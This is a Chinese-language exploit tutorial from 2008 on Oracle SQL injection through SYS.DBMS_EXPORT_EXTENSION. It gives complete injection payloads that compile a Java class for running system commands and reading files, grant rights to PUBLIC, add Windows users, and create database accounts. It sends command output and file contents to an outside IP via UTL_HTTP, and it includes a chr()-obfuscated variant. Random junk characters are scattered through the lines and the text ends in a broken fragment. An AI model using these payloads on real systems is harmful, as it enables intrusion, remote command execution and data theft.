以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
) C3 ?; M' [) ]2 S# a* O; E# q5 w- C7 K5 i- m) U: }- [7 y
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) : x; F$ P' u) U2 q7 O
的形式即可。(用" 'a'|| "是为了让语句返回true值)
/ l! v0 Z% ~/ P% W/ t/ i/ N; q语句有点长,可能要用post提交。 $ i* m9 G, H$ i/ |/ H7 L" a
以下是各个步骤: # y5 {- a3 O3 ~) X. S
1.创建包 , y4 ~8 y5 e; T" e; v
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:; R9 y' a* K, a5 g3 ^
/xxx.jsp?id=1 and '1'<>'a'||( & K& `2 \/ d6 V; _- x9 Y" L
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 M; D+ R- I2 c. a7 p" u2 Q5 x
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
$ r8 V, r0 d Z3 Z# Nnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
' G+ e! p5 ~0 l( _3 r}'''';END;'';END;--','SYS',0,'1',0) from dual ! e$ o2 m* H: {( Y* d+ L
)
: R0 b: V2 D9 y2 ^8 T- v------------------------
$ @& z* d0 [. B! D如果url有长度限制,可以把readFile()函数块去掉,即: 3 o: O7 Q# D: L- n' R4 K" V' F
/xxx.jsp?id=1 and '1'<>'a'||(
, S6 r- j1 x" l. V. Kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' _7 ]: G, M. L7 @ r# ~9 W8 k
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(7 {5 X' c$ V% O! Q
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
4 O) q9 b. A$ r% U; R* X}'''';END;'';END;--','SYS',0,'1',0) from dual
: ?* ^' P1 J# N4 p+ V/ M$ a)
" q* T5 a( f6 n同时把后面步骤 提到的 对readFile()的处理语句去掉。 $ K* B8 q8 e8 C9 W- R
------------------------------ 5 s. R/ H# F* r) v8 g, C
2.赋Java权限 & _+ w( w" _) D; l8 v1 T
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual3 k+ p: v- W! ?% y" K$ n2 @
3.创建函数
6 K- w( J) ^! ]. h3 pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- Y: Q3 L: ^$ l! l# Ecreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual4 H4 @, I% X: V6 F# H
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 n4 V5 V O3 N+ [% r1 Zcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
1 v; f4 n% D4 p6 x5 @4.赋public执行函数的权限
% ~) d" I6 ^3 B+ T2 u: q2 }5 x: B1 dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
# m, {2 @) ~/ p' y+ w; Dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual* O' N& S6 a7 Z0 g+ q2 ]. M
5.测试上面的几步是否成功 , ^) P* u9 i3 V& k, |" r! V
and '1'<>'11'||( ) n6 F) V4 Z9 [/ @: e$ G
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 6 w/ Z* @2 o, t, H# P( Q, C6 [
) g6 E" U1 n0 F( a9 i9 K
and '1'<>( . Y8 J8 t+ b3 ~" e; z# |7 ^( y N
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
5 S4 P; l9 W6 E)
5 L! M7 i) p) [# ^) E2 x7 D' ]' J6.执行命令:
0 t* a# ]: v# c, n0 y. U; r& |0 q/xxx.jsp?id=1 and '1'<>( : |* Z- Z. a+ U* D6 r- ]% F
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
' I" ?% j6 }5 Y+ t
3 P& Q. F; M/ Y1 n% ^! Y) # w# D4 ^+ J/ v/ b0 J u
/xxx.jsp?id=1 and '1'<>( ( u/ s5 V" J+ J0 R# p, D$ ^
select sys.LinxReadFile('c:/boot.ini') from dual, R/ b% _0 m7 T' p, T9 m
2 M5 z$ q5 E( N6 ?- ^
)
7 ~' R4 Q1 @1 w8 [ 2 v; O, O( C! k$ `# U G4 }
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 5 m2 v4 I- k, ?, B, Y% C1 \
如果要查看运行结果可以用 union : 1 s0 l0 t V- g. K3 _8 n
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
6 p/ c; X1 n4 E或者UTL_HTTP.request(:
; o7 n5 m4 P/ \, K( i z9 y0 Q0 _1 b/xxx.jsp?id=1 and '1'<>( , n1 |6 }: m; n& E
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual) t# l$ _# o3 j; @
) 9 z# I2 ]" S9 l6 V3 A
/xxx.jsp?id=1 and '1'<>( / x" B+ U" L: F
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual8 l1 }( n3 K. f8 j" h% H/ |
)
( a4 ]& q N* O* |3 K: [3 g注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。0 R7 ], G9 B9 o) X6 j& }( W
-------------------- ! a0 u* k& q/ \/ c% M
6.内部变化
; F0 q, Z4 H. i- C* ~8 h0 L4 p3 ^通过以下命令可以查看all_objects表达改变: - w, n* V8 _* x* R
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'$ I: ^& n' J: i8 \0 J0 _
7.删除我们创建的函数 3 G3 E5 V, P5 J0 r/ Y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! c6 v# P& ^* e. J/ X. d$ ]drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
& L2 w+ u9 U( e7 N' x" \====================================================
; q1 f7 { R/ q+ v. L全文结束。谨以此文赠与我的朋友。 / F$ {3 C8 ^& }/ c; W( W; Y
linx 1 y s" Y4 J" p) Y
124829445 8 ]) ?+ R" q- T2 y* P
2008.1.12
( M, q$ A( `6 S% N$ _" jlinyujian@bjfu.edu.cn
. `: z) {$ R* q! K4 Q======================================================================
# h. p6 A! x) I; X# ~& r% d$ s测试漏洞的另一方法:
% b5 o& A6 E% m) ]创建oracle帐号: / Y/ X: D9 Q: F& I/ j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! x! y+ ?2 q0 Y9 {3 f) u2 aCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual- q) |# w2 F# x8 S% X4 N
即:
5 x; N+ g* b4 j& m: Vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),7 G' r, D& \- O' d6 G' h# j$ u
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
1 `6 h2 Y5 ]3 n确定漏洞存在:
3 ~7 Y2 M7 _% z/ a# v9 T1<>(
) M( s9 Q& x4 v" t7 }select user_id from all_users where username='LINXSQL' : ^) b5 D Z- p* r6 h
)
* w+ s+ ?7 N V L9 j7 M给linxsql连接权限: # J1 V: G. P3 _* w' ]6 g2 D
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 t( t# m( b! T* H, p# \ B# Q3 m
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual 1 \9 c8 F" o) n/ t A, Z
删除帐号:
9 M2 Y" I" c8 e. W5 Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! U$ b" J2 c8 u( @drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
' |3 I" }6 o0 }% l% C======================
* z' K! v4 q; G* g$ C以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
; }5 `& M% |( g5 A+ q1.jsp?id=1 and '1'<>( . W' E: [6 V. t0 d# `; Z+ N3 B
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 o+ x+ ?# b2 U6 ^
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual: N2 A% F& Z2 V" O0 |- C% i
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
! d ?2 I5 J# c9 A! L8 t$ m) V" Q )" }: V; G2 S9 B R3 M) i
# m" p3 I+ ]# S7 U4 _$ E: a
) L# K2 @1 i1 ~( b1 h) C, k5 R% O) Z9 j b9 F( h F) i- ~
|